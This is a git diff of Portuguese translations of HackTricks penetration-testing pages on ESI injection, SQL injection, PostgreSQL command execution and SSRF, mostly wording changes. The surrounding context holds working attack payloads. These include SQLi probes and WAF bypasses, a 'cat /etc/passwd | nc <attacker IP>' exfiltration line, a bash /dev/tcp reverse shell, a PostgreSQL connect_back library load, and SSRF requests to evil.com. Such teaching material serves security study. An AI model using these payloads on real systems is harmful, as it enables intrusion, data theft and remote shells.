Se um **atacante** conseguir **injetar uma tag ESI** dentro do conteúdo em cache, então, ele poderá **injetar conteúdo arbitrário** no documento antes que seja enviado aos usuários.
|
||||
Há um problema **em armazenar em cache informações ou aplicações dinâmicas**, pois parte do conteúdo pode ter **variado** para a próxima vez que o conteúdo for recuperado. É para isso que **ESI** é usado, para indicar usando tags ESI o **conteúdo dinâmico que precisa ser gerado** antes de enviar a versão em cache.\
|
||||
Se um **atacante** conseguir **injetar uma tag ESI** dentro do conteúdo em cache, então, ele poderá **injetar conteúdo arbitrário** no documento antes que ele seja enviado aos usuários.
|
||||
|
||||
### Detecção de ESI
|
||||
|
||||
@ -92,19 +92,19 @@ hell<!--esi-->o
|
||||
[GoSecure criou](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) uma tabela para entender possíveis ataques que podemos tentar contra diferentes softwares compatíveis com ESI, dependendo da funcionalidade suportada:
|
||||
|
||||
- **Includes**: Suporta a diretiva `<esi:includes>`
|
||||
- **Vars**: Suporta a diretiva `<esi:vars>`. Útil para contornar Filtros de XSS
|
||||
- **Vars**: Suporta a diretiva `<esi:vars>`. Útil para contornar Filtros XSS
|
||||
- **Cookie**: Cookies do documento são acessíveis ao mecanismo ESI
|
||||
- **Cabeçalhos Upstream Necessários**: Aplicações substitutas não processarão declarações ESI a menos que a aplicação upstream forneça os cabeçalhos
|
||||
- **Lista de Permissão de Hosts**: Neste caso, inclusões ESI só são possíveis a partir de hosts de servidor permitidos, tornando SSRF, por exemplo, apenas possível contra esses hosts
|
||||
|
||||
| **Software** | **Includes** | **Vars** | **Cookies** | **Cabeçalhos Upstream Necessários** | **Lista de Permissão de Hosts** |
|
||||
| :--------------------------: | :----------: | :------: | :---------: | :-------------------------------: | :-----------------------------: |
|
||||
| Squid3 | Sim | Sim | Sim | Sim | Não |
|
||||
| Varnish Cache | Sim | Não | Não | Sim | Sim |
|
||||
| Fastly | Sim | Não | Não | Não | Sim |
|
||||
| Akamai ESI Test Server (ETS) | Sim | Sim | Sim | Não | Não |
|
||||
| NodeJS esi | Sim | Sim | Sim | Não | Não |
|
||||
| NodeJS nodesi | Sim | Não | Não | Não | Opcional |
|
||||
| Squid3 | Sim | Sim | Sim | Sim | Não |
|
||||
| Varnish Cache | Sim | Não | Não | Sim | Sim |
|
||||
| Fastly | Sim | Não | Não | Não | Sim |
|
||||
| Akamai ESI Test Server (ETS) | Sim | Sim | Sim | Não | Não |
|
||||
| NodeJS esi | Sim | Sim | Sim | Não | Não |
|
||||
| NodeJS nodesi | Sim | Não | Não | Não | Opcional |
|
||||
|
||||
#### XSS
|
||||
|
||||
@ -183,7 +183,7 @@ Isso enviará informações de depuração incluídas na resposta:
|
||||
```
|
||||
### ESI + XSLT = XXE
|
||||
|
||||
É possível usar a sintaxe de **`eXtensible Stylesheet Language Transformations (XSLT)`** em ESI apenas indicando o valor do parâmetro **`dca`** como **`xslt`**. O que pode permitir abusar do **XSLT** para criar e explorar uma vulnerabilidade de Entidade Externa XML (XXE):
|
||||
É possível usar a sintaxe de **`eXtensible Stylesheet Language Transformations (XSLT)`** em ESI apenas indicando o valor do param **`dca`** como **`xslt`**. O que pode permitir abusar do **XSLT** para criar e explorar uma vulnerabilidade de Entidade Externa XML (XXE):
|
||||
```xml
|
||||
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
||||
```
|
||||
@ -207,6 +207,8 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
|
||||
## Lista de Detecção de Força Bruta
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,14 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## O que é injeção de SQL?
|
||||
|
||||
## O que é injeção SQL?
|
||||
|
||||
Uma **injeção SQL** é uma falha de segurança que permite que atacantes **interfiram nas consultas ao banco de dados** de uma aplicação. Essa vulnerabilidade pode permitir que atacantes **visualizem**, **modifiquem** ou **deletam** dados que não deveriam acessar, incluindo informações de outros usuários ou qualquer dado que a aplicação possa acessar. Tais ações podem resultar em mudanças permanentes na funcionalidade ou conteúdo da aplicação ou até mesmo comprometimento do servidor ou negação de serviço.
|
||||
Uma **injeção de SQL** é uma falha de segurança que permite que atacantes **interfiram nas consultas ao banco de dados** de uma aplicação. Essa vulnerabilidade pode permitir que atacantes **visualizem**, **modifiquem** ou **deletam** dados que não deveriam acessar, incluindo informações de outros usuários ou qualquer dado que a aplicação possa acessar. Tais ações podem resultar em mudanças permanentes na funcionalidade ou conteúdo da aplicação ou até mesmo comprometimento do servidor ou negação de serviço.
|
||||
|
||||
## Detecção de ponto de entrada
|
||||
|
||||
Quando um site parece ser **vulnerável a injeção SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas a SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer identificar o método para **escapar do contexto atual** de forma eficaz. Estes são alguns exemplos úteis:
|
||||
Quando um site parece ser **vulnerável a injeção de SQL (SQLi)** devido a respostas incomuns do servidor a entradas relacionadas a SQLi, o **primeiro passo** é entender como **injetar dados na consulta sem interrompê-la**. Isso requer a identificação do método para **escapar do contexto atual** de forma eficaz. Estes são alguns exemplos úteis:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -126,14 +125,16 @@ A melhor maneira de identificar o back-end é tentar executar funções dos dife
|
||||
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
|
||||
```
|
||||
Além disso, se você tiver acesso à saída da consulta, poderá fazer com que ela **imprima a versão do banco de dados**.
|
||||
Além disso, se você tiver acesso à saída da consulta, poderá fazer com que **imprima a versão do banco de dados**.
|
||||
|
||||
> [!NOTE]
|
||||
> A continuação discutiremos diferentes métodos para explorar diferentes tipos de SQL Injection. Usaremos MySQL como exemplo.
|
||||
|
||||
### Identificando com PortSwigger
|
||||
|
||||
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
{{#endref}}
|
||||
|
||||
## Explorando Baseado em Union
|
||||
|
||||
@ -198,7 +199,7 @@ Para obter insights mais abrangentes, consulte o artigo completo disponível em
|
||||
|
||||
## Explorando Baseada em Erro
|
||||
|
||||
Se por algum motivo você **não pode** ver a **saída** da **consulta**, mas pode **ver as mensagens de erro**, você pode fazer com que essas mensagens de erro **exfiltratem** dados do banco de dados.\
|
||||
Se por algum motivo você **não pode** ver a **saída** da **consulta**, mas pode **ver as mensagens de erro**, você pode fazer com que essas mensagens de erro **exfiltrarem** dados do banco de dados.\
|
||||
Seguindo um fluxo semelhante ao da exploração Baseada em União, você poderia conseguir despejar o DB.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
@ -224,7 +225,7 @@ Neste caso, **não há** nenhuma maneira de **distinguir** a **resposta** da con
|
||||
```
|
||||
## Consultas Empilhadas
|
||||
|
||||
Você pode usar consultas empilhadas para **executar várias consultas em sucessão**. Note que, enquanto as consultas subsequentes são executadas, os **resultados** **não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades blindas**, onde você pode usar uma segunda consulta para acionar uma consulta DNS, erro condicional ou atraso de tempo.
|
||||
Você pode usar consultas empilhadas para **executar várias consultas em sucessão**. Note que, enquanto as consultas subsequentes são executadas, os **resultados** **não são retornados para a aplicação**. Portanto, essa técnica é principalmente útil em relação a **vulnerabilidades blindas** onde você pode usar uma segunda consulta para acionar uma consulta DNS, erro condicional ou atraso de tempo.
|
||||
|
||||
**Oracle** não suporta **consultas empilhadas.** **MySQL, Microsoft** e **PostgreSQL** as suportam: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
@ -240,11 +241,11 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
```
|
||||
## Exploração Automatizada
|
||||
|
||||
Verifique a [SQLMap Cheatsheet](sqlmap/) para explorar uma vulnerabilidade de SQLi com [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
Verifique a [SQLMap Cheatsheet](sqlmap/) para explorar uma vulnerabilidade SQLi com [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
|
||||
## Informações específicas da tecnologia
|
||||
|
||||
Já discutimos todas as maneiras de explorar uma vulnerabilidade de SQL Injection. Encontre mais algumas dicas dependentes da tecnologia de banco de dados neste livro:
|
||||
Já discutimos todas as maneiras de explorar uma vulnerabilidade de Injeção SQL. Encontre mais algumas dicas dependentes da tecnologia de banco de dados neste livro:
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
@ -303,17 +304,17 @@ print r.text
|
||||
```sql
|
||||
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
```
|
||||
## Instrução de Inserção
|
||||
## Insert Statement
|
||||
|
||||
### Modificar a senha de um objeto/usuário existente
|
||||
|
||||
Para isso, você deve tentar **criar um novo objeto nomeado como o "objeto mestre"** (provavelmente **admin** no caso de usuários) modificando algo:
|
||||
|
||||
- Criar usuário chamado: **AdMIn** (letras maiúsculas e minúsculas)
|
||||
- Criar um usuário chamado: **admin=**
|
||||
- **Ataque de Truncamento SQL** (quando há algum tipo de **limite de comprimento** no nome de usuário ou e-mail) --> Criar usuário com nome: **admin \[muitos espaços] a**
|
||||
- Criar usuário nomeado: **AdMIn** (letras maiúsculas e minúsculas)
|
||||
- Criar um usuário nomeado: **admin=**
|
||||
- **SQL Truncation Attack** (quando há algum tipo de **limite de comprimento** no nome de usuário ou e-mail) --> Criar usuário com nome: **admin \[muitos espaços] a**
|
||||
|
||||
#### Ataque de Truncamento SQL
|
||||
#### SQL Truncation Attack
|
||||
|
||||
Se o banco de dados for vulnerável e o número máximo de caracteres para o nome de usuário for, por exemplo, 30 e você quiser se passar pelo usuário **admin**, tente criar um nome de usuário chamado: "_admin \[30 espaços] a_" e qualquer senha.
|
||||
|
||||
@ -321,11 +322,11 @@ O banco de dados irá **verificar** se o **nome de usuário** introduzido **exis
|
||||
|
||||
Mais informações: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
_Nota: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco finais por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre essa verificação:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
_Note: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem espaços em branco finais por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro, e a inserção falhará. Para mais informações sobre essa verificação:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)
|
||||
|
||||
### Verificação baseada em tempo de inserção MySQL
|
||||
### Verificação baseada em tempo de inserção do MySQL
|
||||
|
||||
Adicione quantos `','',''` você considerar para sair da instrução VALUES. Se o atraso for executado, você tem uma SQLInjection.
|
||||
Adicione o máximo de `','',''` que você considerar para sair da declaração VALUES. Se o atraso for executado, você tem uma SQLInjection.
|
||||
```sql
|
||||
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
@ -335,7 +336,7 @@ A cláusula `ON DUPLICATE KEY UPDATE` no MySQL é utilizada para especificar aç
|
||||
|
||||
Exemplo de Injeção de Payload:
|
||||
|
||||
Um payload de injeção pode ser elaborado da seguinte forma, onde duas linhas são tentadas a serem inseridas na tabela `users`. A primeira linha é uma isca, e a segunda linha tem como alvo o e-mail de um administrador existente com a intenção de atualizar a senha:
|
||||
Um payload de injeção pode ser elaborado da seguinte forma, onde duas linhas são tentadas a serem inseridas na tabela `users`. A primeira linha é uma isca, e a segunda linha visa o e-mail de um administrador existente com a intenção de atualizar a senha:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
@ -435,7 +436,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
||||
```
|
||||
### Bypass de WAF com Notação Científica
|
||||
|
||||
Você pode encontrar uma explicação mais detalhada desse truque no [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
Você pode encontrar uma explicação mais detalhada desse truque no [blog da gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
|
||||
Basicamente, você pode usar a notação científica de maneiras inesperadas para contornar o WAF:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
@ -444,9 +445,9 @@ Basicamente, você pode usar a notação científica de maneiras inesperadas par
|
||||
```
|
||||
### Bypass Column Names Restriction
|
||||
|
||||
Primeiro de tudo, note que se a **consulta original e a tabela de onde você deseja extrair a bandeira tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
|
||||
Primeiro de tudo, note que se a **consulta original e a tabela de onde você deseja extrair a flag tiverem a mesma quantidade de colunas**, você pode simplesmente fazer: `0 UNION SELECT * FROM flag`
|
||||
|
||||
É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em uma sqlinjection isso pareceria assim:
|
||||
É possível **acessar a terceira coluna de uma tabela sem usar seu nome** usando uma consulta como a seguinte: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, então em uma sqlinjection isso pareceria:
|
||||
```bash
|
||||
# This is an example with 3 columns that will extract the column number 3
|
||||
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
|
||||
@ -460,7 +461,9 @@ Esse truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-write
|
||||
|
||||
### Ferramentas sugeridoras de bypass de WAF
|
||||
|
||||
{% embed url="https://github.com/m4ll0k/Atlas" %}
|
||||
{{#ref}}
|
||||
https://github.com/m4ll0k/Atlas
|
||||
{{#endref}}
|
||||
|
||||
## Outros Guias
|
||||
|
||||
@ -469,7 +472,9 @@ Esse truque foi retirado de [https://secgroup.github.io/2017/01/03/33c3ctf-write
|
||||
|
||||
## Lista de Detecção de Força Bruta
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -14,7 +14,7 @@ Além disso, tenha em mente que **se você não sabe como** [**fazer upload de a
|
||||
|
||||
**Para mais informações, consulte: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
A execução de comandos do sistema a partir do PostgreSQL 8.1 e versões anteriores é um processo que foi claramente documentado e é direto. É possível usar este: [módulo do Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
A execução de comandos do sistema a partir do PostgreSQL 8.1 e versões anteriores é um processo que foi claramente documentado e é direto. É possível usar este: [Módulo do Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
||||
|
||||
<summary>Escrever arquivo binário a partir de base64</summary>
|
||||
|
||||
Para escrever um binário em um arquivo no postgres, você pode precisar usar base64, isso será útil para esse propósito:
|
||||
Para escrever um binário em um arquivo no postgres, você pode precisar usar base64, isso será útil para esse assunto:
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||
$$
|
||||
@ -121,7 +121,9 @@ SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
```
|
||||
Você pode encontrar esta **biblioteca pré-compilada** para várias versões diferentes do PostgreSQL e até pode **automatizar esse processo** (se você tiver acesso ao PostgreSQL) com:
|
||||
|
||||
{% embed url="https://github.com/Dionach/pgexec" %}
|
||||
{{#ref}}
|
||||
https://github.com/Dionach/pgexec
|
||||
{{#endref}}
|
||||
|
||||
### RCE no Windows
|
||||
|
||||
@ -258,21 +260,21 @@ O [projeto PolyUDF](https://github.com/rop-la/PolyUDF) também é um bom ponto d
|
||||
|
||||
### RCE nas versões mais recentes do PostgreSQL
|
||||
|
||||
Nas **últimas versões** do PostgreSQL, foram impostas restrições onde o `superuser` é **proibido** de **carregar** arquivos de biblioteca compartilhada, exceto de diretórios específicos, como `C:\Program Files\PostgreSQL\11\lib` no Windows ou `/var/lib/postgresql/11/lib` em sistemas \*nix. Esses diretórios estão **protegidos** contra operações de escrita pelos contas NETWORK_SERVICE ou postgres.
|
||||
Nas **últimas versões** do PostgreSQL, foram impostas restrições onde o `superuser` é **proibido** de **carregar** arquivos de biblioteca compartilhada, exceto de diretórios específicos, como `C:\Program Files\PostgreSQL\11\lib` no Windows ou `/var/lib/postgresql/11/lib` em sistemas \*nix. Esses diretórios estão **protegidos** contra operações de gravação pelos contas NETWORK_SERVICE ou postgres.
|
||||
|
||||
Apesar dessas restrições, é possível para um `superuser` autenticado **escrever arquivos binários** no sistema de arquivos usando "objetos grandes". Essa capacidade se estende à escrita dentro do diretório `C:\Program Files\PostgreSQL\11\data`, que é essencial para operações de banco de dados, como atualizar ou criar tabelas.
|
||||
Apesar dessas restrições, é possível para um `superuser` autenticado **gravar arquivos binários** no sistema de arquivos usando "objetos grandes". Essa capacidade se estende à gravação dentro do diretório `C:\Program Files\PostgreSQL\11\data`, que é essencial para operações de banco de dados, como atualizar ou criar tabelas.
|
||||
|
||||
Uma vulnerabilidade significativa surge do comando `CREATE FUNCTION`, que **permite a travessia de diretórios** no diretório de dados. Consequentemente, um atacante autenticado poderia **explorar essa travessia** para escrever um arquivo de biblioteca compartilhada no diretório de dados e, em seguida, **carregá-lo**. Essa exploração permite que o atacante execute código arbitrário, alcançando a execução de código nativo no sistema.
|
||||
Uma vulnerabilidade significativa surge do comando `CREATE FUNCTION`, que **permite a travessia de diretórios** no diretório de dados. Consequentemente, um atacante autenticado poderia **explorar essa travessia** para gravar um arquivo de biblioteca compartilhada no diretório de dados e, em seguida, **carregá-lo**. Essa exploração permite que o atacante execute código arbitrário, alcançando a execução de código nativo no sistema.
|
||||
|
||||
#### Fluxo de ataque
|
||||
|
||||
Primeiro, você precisa **usar objetos grandes para fazer o upload do dll**. Você pode ver como fazer isso aqui:
|
||||
Primeiro, você precisa **usar objetos grandes para fazer o upload da dll**. Você pode ver como fazer isso aqui:
|
||||
|
||||
{{#ref}}
|
||||
big-binary-files-upload-postgresql.md
|
||||
{{#endref}}
|
||||
|
||||
Uma vez que você tenha feito o upload da extensão (com o nome de poc.dll para este exemplo) no diretório de dados, você pode carregá-la com:
|
||||
Uma vez que você tenha feito o upload da extensão (com o nome de poc.dll para este exemplo) para o diretório de dados, você pode carregá-la com:
|
||||
```c
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Uma **vulnerabilidade de Server-side Request Forgery (SSRF)** ocorre quando um atacante manipula uma **aplicação do lado do servidor** para fazer **requisições HTTP** para um domínio de sua escolha. Essa vulnerabilidade expõe o servidor a requisições externas arbitrárias direcionadas pelo atacante.
|
||||
Uma **vulnerabilidade de Server-side Request Forgery (SSRF)** ocorre quando um atacante manipula uma **aplicação do lado do servidor** para fazer **requisições HTTP** a um domínio de sua escolha. Essa vulnerabilidade expõe o servidor a requisições externas arbitrárias direcionadas pelo atacante.
|
||||
|
||||
## Capturar SSRF
|
||||
|
||||
@ -42,9 +42,9 @@ Leia mais aqui: [https://portswigger.net/web-security/ssrf](https://portswigger.
|
||||
- **SFTP://**
|
||||
- Identificado como um protocolo para transferência segura de arquivos sobre shell seguro, um exemplo é fornecido mostrando como um script PHP poderia ser explorado para se conectar a um servidor SFTP malicioso: `url=sftp://generic.com:11111/`
|
||||
- **TFTP://**
|
||||
- O Protocolo Trivial de Transferência de Arquivos, operando sobre UDP, é mencionado com um exemplo de um script PHP projetado para enviar uma requisição a um servidor TFTP. Uma requisição TFTP é feita para 'generic.com' na porta '12346' para o arquivo 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
- O Protocolo de Transferência de Arquivos Trivial, operando sobre UDP, é mencionado com um exemplo de um script PHP projetado para enviar uma requisição a um servidor TFTP. Uma requisição TFTP é feita para 'generic.com' na porta '12346' para o arquivo 'TESTUDPPACKET': `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
|
||||
- **LDAP://**
|
||||
- Este segmento cobre o Protocolo de Acesso a Diretórios Leve, enfatizando seu uso para gerenciar e acessar serviços de informações de diretório distribuídas sobre redes IP. Interaja com um servidor LDAP no localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||
- Este segmento cobre o Protocolo de Acesso a Diretórios Leve, enfatizando seu uso para gerenciar e acessar serviços de informações de diretório distribuídos sobre redes IP. Interaja com um servidor LDAP no localhost: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
|
||||
- **SMTP**
|
||||
- Um método é descrito para explorar vulnerabilidades SSRF para interagir com serviços SMTP no localhost, incluindo etapas para revelar nomes de domínios internos e ações investigativas adicionais com base nessa informação.
|
||||
```
|
||||
@ -106,11 +106,11 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
|
||||
```
|
||||
## SSRF via Referrer header & Others
|
||||
|
||||
Software de análise em servidores frequentemente registra o cabeçalho Referrer para rastrear links de entrada, uma prática que inadvertidamente expõe aplicações a vulnerabilidades de Server-Side Request Forgery (SSRF). Isso ocorre porque tal software pode visitar URLs externas mencionadas no cabeçalho Referrer para analisar o conteúdo do site de referência. Para descobrir essas vulnerabilidades, o plugin do Burp Suite "**Collaborator Everywhere**" é recomendado, aproveitando a forma como as ferramentas de análise processam o cabeçalho Referer para identificar possíveis superfícies de ataque SSRF.
|
||||
Software de análise em servidores frequentemente registra o cabeçalho Referrer para rastrear links de entrada, uma prática que inadvertidamente expõe aplicações a vulnerabilidades de Server-Side Request Forgery (SSRF). Isso ocorre porque tal software pode visitar URLs externas mencionadas no cabeçalho Referrer para analisar o conteúdo do site de referência. Para descobrir essas vulnerabilidades, o plugin do Burp Suite "**Collaborator Everywhere**" é recomendado, aproveitando a forma como as ferramentas de análise processam o cabeçalho Referer para identificar superfícies de ataque SSRF potenciais.
|
||||
|
||||
## SSRF via SNI data from certificate
|
||||
|
||||
Uma má configuração que poderia permitir a conexão a qualquer backend através de uma configuração simples é ilustrada com um exemplo de configuração do Nginx:
|
||||
Uma má configuração que poderia permitir a conexão a qualquer backend através de uma configuração simples é ilustrada com um exemplo de configuração Nginx:
|
||||
```
|
||||
stream {
|
||||
server {
|
||||
@ -206,7 +206,7 @@ app.run(threaded=False)
|
||||
```
|
||||
</details>
|
||||
|
||||
Flask permite usar **`@`** como caractere inicial, o que permite fazer **o nome do host inicial ser o nome de usuário** e injetar um novo. Solicitação de ataque:
|
||||
Flask permite usar **`@`** como caractere inicial, o que permite fazer com que **o nome do host inicial seja o nome de usuário** e injetar um novo. Solicitação de ataque:
|
||||
```http
|
||||
GET @evildomain.com/ HTTP/1.1
|
||||
Host: target.com
|
||||
@ -224,7 +224,7 @@ GET ;@evil.com/url HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
### Servidor Web Integrado PHP <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
|
||||
### Servidor Web Integrado do PHP <a href="#heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation" id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation"></a>
|
||||
|
||||
<details>
|
||||
|
||||
@ -261,7 +261,7 @@ Se você está tendo **problemas** para **exfiltrar conteúdo de um IP local** p
|
||||
|
||||
### DNS Rebidding Automatizado
|
||||
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Ela inclui os componentes necessários para reconfigurar o endereço IP do nome DNS do servidor de ataque para o endereço IP da máquina alvo e para servir cargas úteis de ataque para explorar software vulnerável na máquina alvo.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar [ataques de DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Ela inclui os componentes necessários para reconfigurar o endereço IP do nome DNS do servidor de ataque para o endereço IP da máquina alvo e para servir cargas úteis de ataque para explorar software vulnerável na máquina alvo.
|
||||
|
||||
Confira também o **servidor público em** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||||
|
||||
@ -278,8 +278,8 @@ Ataque:
|
||||
1. Peça ao usuário/bot **acessar** um **domínio** controlado pelo **atacante**
|
||||
2. O **TTL** do **DNS** é **0** seg (então a vítima verificará o IP do domínio novamente em breve)
|
||||
3. Uma **conexão TLS** é criada entre a vítima e o domínio do atacante. O atacante introduz a **carga útil dentro** do **ID de Sessão ou Ticket de Sessão**.
|
||||
4. O **domínio** iniciará um **loop infinito** de redirecionamentos contra **si mesmo**. O objetivo disso é fazer com que o usuário/bot acesse o domínio até que ele realize **novamente** uma **solicitação DNS** do domínio.
|
||||
5. Na solicitação DNS, um endereço **IP privado** é fornecido **agora** (127.0.0.1, por exemplo)
|
||||
4. O **domínio** iniciará um **loop infinito** de redirecionamentos contra **ele mesmo**. O objetivo disso é fazer com que o usuário/bot acesse o domínio até que ele realize **novamente** uma **solicitação DNS** do domínio.
|
||||
5. Na solicitação DNS, um endereço IP **privado** é fornecido **agora** (127.0.0.1, por exemplo)
|
||||
6. O usuário/bot tentará **restabelecer a conexão TLS** e, para fazer isso, enviará o **ID de Sessão/Ticket ID** (onde a **carga útil** do atacante estava contida). Então, parabéns, você conseguiu fazer o **usuário/bot atacar a si mesmo**.
|
||||
|
||||
Note que durante este ataque, se você quiser atacar localhost:11211 (_memcache_), você precisa fazer a vítima estabelecer a conexão inicial com www.attacker.com:11211 (a **porta deve sempre ser a mesma**).\
|
||||
@ -337,11 +337,13 @@ _remote-method-guesser_ é um scanner de vulnerabilidades _Java RMI_ que suporta
|
||||
|
||||
### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
|
||||
|
||||
SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para canalizar o tráfego HTTP do cliente através de servidores HTTP vulneráveis a Server-Side Request Forgery (SSRF).
|
||||
SSRF Proxy é um servidor proxy HTTP multi-threaded projetado para tunelizar o tráfego HTTP do cliente através de servidores HTTP vulneráveis a Server-Side Request Forgery (SSRF).
|
||||
|
||||
### Para praticar
|
||||
|
||||
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
|
||||
{{#ref}}
|
||||
https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
@ -145,7 +145,7 @@ next={domain}&next=attacker.com
|
||||
```
|
||||
### Bypass de Caminhos e Extensões
|
||||
|
||||
Se for necessário que a URL termine em um caminho ou uma extensão, ou deve conter um caminho, você pode tentar um dos seguintes bypasses:
|
||||
Se você precisar que a URL termine em um caminho ou uma extensão, ou deve conter um caminho, você pode tentar um dos seguintes bypasses:
|
||||
```
|
||||
https://metadata/vulerable/path#/expected/path
|
||||
